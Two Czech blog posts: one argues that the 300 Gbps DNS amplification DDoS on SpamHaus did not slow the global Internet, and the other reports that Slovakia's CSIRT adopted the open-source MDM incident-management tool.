V souvislosti s nedávnými DDoS útoky proti službě SpamHaus.org otisklo mnoho médií názor, že tento útok je natolik masivní, že údajně dochází ke zpomalování Internetu. To je trochu silné vyjádření, které patrně pochází z blogpostu šéfa CloudFlare Matthew Prince. Pojďme se tedy na tuto věc podívat blíže.
Intenzita útoku byla skutečně mimořádně velká, hovoří se o cca 300Gbps provozu generovaného pomocí DNS amplification útoku. To skutečně není málo, a nesnese to samozřejmě vůbec srovnání s útoky, které se nedávno udály u nás. Ale je to dost na zpomalení Internetu? Odpovědí může být například pohled na tuto tabulku, která ukazuje kolik běžně proudí největšími peeringovými uzly. Když sečtete špičkové toky alespoň dvaceti největších z nich (mezi které mimochodem patří i Český NIX.CZ), dostanete se bohatě nad 10000Gbps (=10Tbps). A to pochopitelně zdaleka nereprezentuje veškeré toky Internetu. Jinými slovy, navýšení celkového toku Internetu bylo sotva v řádu pár procent. Uvědomme si, že nějaké globálně sledované události, jako třeba olympiády, v poslední době vygenerují toků mnohem více. Mohlo tedy dojít k významnému vlivu na rychlost globálního Internetu? Rozhodně ne!
Samozřejmě, mohlo dojít ke zpomalení Internetu lokálně, sám Prince ve svém článku výslovně uvádí, že někteří Britští zákazníci jejich společnosti měli potíže. To je poměrně logické, ale ostatní sítě nijak poškozeny nebyly. Prince ještě ukazuje graf, který má navodit dojem, že došlo k nějakým výpadkům v londýnském peeringovém centru LINX, ale pravdou je, že nikdo žádné problémy nedetekoval, že šlo spíše o problémy systému, který tyto grafy kreslí.
Mimochodem, povšimněte si, že toky samotného LINXu jsou v normálu hodně velké a 300Gbps navíc by jejich infrastruktura měla rozhodně ustát.
Tedy, ke zpomalení Internetu nedošlo, žádná velká senzace se nekoná. Prostě jsme jen byli svědky většího DDoSu. No a v dalším článku si povíme, jak by se těmto útokům mělo předcházet.
Ondřej Filip
Zprávy ze světa: MDM pomáhá s bezpečnostními incidenty na Slovensku
O aplikaci MDM jsme na tomto blogu již několikrát psali. Tentokrát se s vámi chci podělit o informace, které mě velmi potěšily. Před několika týdny jsem mluvil o MDM s kolegy z CSIRT.SK. Při tom jsem se dozvěděl, že u nich naše aplikace zaznamenala velký úspěch.
V polovině roku 2012 si kolegové ze Slovenska dali za úkol najít nástroj, který by jim zkrátil čas při vyhodnocování a následné správě incidentů, které obdrží od zahraničních partnerů. Trh s těmito nástroji je opravdu veliký a každému vyhovuje jiný model na správu incidentů. Mezi testovanými aplikacemi bylo i naše MDM, které kolegy zaujalo doslova na první pohled; sympatie si získalo i díky tomu, že je open source.
Slovenský bezpečnostní tým se rozhodl používat aplikaci MDM nejen pro zpracování informací o hrozbách v doméně .sk, ale také jako základní nástroj pro zpracovávání všech incidentů přijatých tímto národním CSIRT týmem. Proto změnili původní zpracování a zobrazení incidentů v samotné aplikaci a rozšířili také možnost administrovat jak incidenty s URL, tak i bez URL, například na základě IP adresy.
První testovací verze MDM byla na Slovensku nasazena od 24. září loňského roku do konce prosince. V tomto období zkoumali v CSIRT.SK funkčnost a přijímali připomínky a návrhy na zlepšení tohoto softwaru. Od 1. ledna mají naši aplikaci již pevně pod kontrolou. Aktuálně se jedná o verzi 2.0. a počet incidentů, které touto aplikací spravují, převýšil 27 tisíc.
Rádi bychom tedy našim slovenským „bratrům“ (jmenovitě kolegovi Martinu Jurčíkovi) poděkovali nejen za poskytnuté informace k tomuto článku, ale také za spolupráci. A samozřejmě také přejeme jen samá pozitiva a sociální jistoty :-) při používání naší aplikace.
Michal Prokop